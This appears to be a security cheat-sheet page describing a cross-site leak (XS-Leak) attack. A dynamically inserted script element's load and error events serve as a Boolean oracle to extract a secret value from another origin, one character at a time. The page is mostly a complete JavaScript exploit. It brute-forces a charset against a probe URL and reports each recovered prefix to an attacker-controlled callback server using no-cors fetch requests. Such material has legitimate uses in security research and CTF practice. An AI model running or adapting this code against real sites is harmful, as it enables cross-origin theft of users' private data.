Skip to content
Script load oracle

Script load oracle

Cross-origin script load Boolean oracle

A dynamically created <script> element can request a resource from another origin. The same-origin policy blocks JavaScript from reading the response body, while the element’s load and error events remain observable.

An endpoint becomes a Boolean oracle when a matching candidate produces a successful script load and a non-matching candidate produces a failed load:

matching candidate     -> successful resource load -> onload  -> true
non-matching candidate -> failed resource load     -> onerror -> false

The exact result depends on the browser’s script-loading rules as well as the HTTP status. Both known-true and known-false candidates must be tested before extraction begins.

const CHARSET = "<CHARSET>";
const PROBE_URL = "<PROBE_URL>?q=";
const CALLBACK_URL = "<CALLBACK_URL>";
const INITIAL_VALUE = "<KNOWN_PREFIX>";
const END_MARKER = "<END_MARKER>";

async function sendToServer(state, currentValue) {
    const callbackUrl = CALLBACK_URL + "/?state=" + encodeURIComponent(state) + "&value=" + encodeURIComponent(currentValue);
    await fetch(callbackUrl, {
        method: "GET",
        mode: "no-cors",
        cache: "no-store"
    });
}

function tryCandidate(candidate) {
    const probeResult = new Promise(function startProbe(resolve) {
        const probe = document.createElement("script");

        function handleProbeLoaded() {
            probe.remove();
            resolve(true);
        }

        function handleProbeFailed() {
            probe.remove();
            resolve(false);
        }

        probe.onload = handleProbeLoaded;
        probe.onerror = handleProbeFailed;
        probe.src = PROBE_URL + encodeURIComponent(candidate);
        document.body.appendChild(probe);
    });
    return probeResult;
}

async function extractValue() {
    let recoveredValue = INITIAL_VALUE;

    while (!recoveredValue.endsWith(END_MARKER)) {
        let characterFound = false;

        for (const character of CHARSET) {
            const candidate = recoveredValue + character;
            const matched = await tryCandidate(candidate);

            if (matched) {
                recoveredValue = candidate;
                characterFound = true;
                await sendToServer("progress", recoveredValue);
                break;
            }
        }

        if (characterFound === false) {
            break;
        }
    }

    await sendToServer("done", recoveredValue);
    const extractedValue = recoveredValue;
    return extractedValue;
}

extractValue();

Promise stores a result that becomes available later. await tryCandidate(candidate) pauses the extraction loop until either handleProbeLoaded() or handleProbeFailed() resolves that result to a Boolean.

The script element is removed after every request so each candidate creates one temporary probe. encodeURIComponent() preserves candidate characters when they are inserted into the query parameter.

sendToServer() reports each recovered value to an HTTP callback server. mode: "no-cors" allows the browser to send the cross-origin request without making its response available to the script, while cache: "no-store" forces each report to reach the server.

Find by: xs-leak, cross site leak, script element, dynamic script, onload, onerror, cross origin, boolean oracle, status oracle, browser oracle, blind extraction, prefix extraction, same origin policy, no cors, callback, send results to server, exfiltration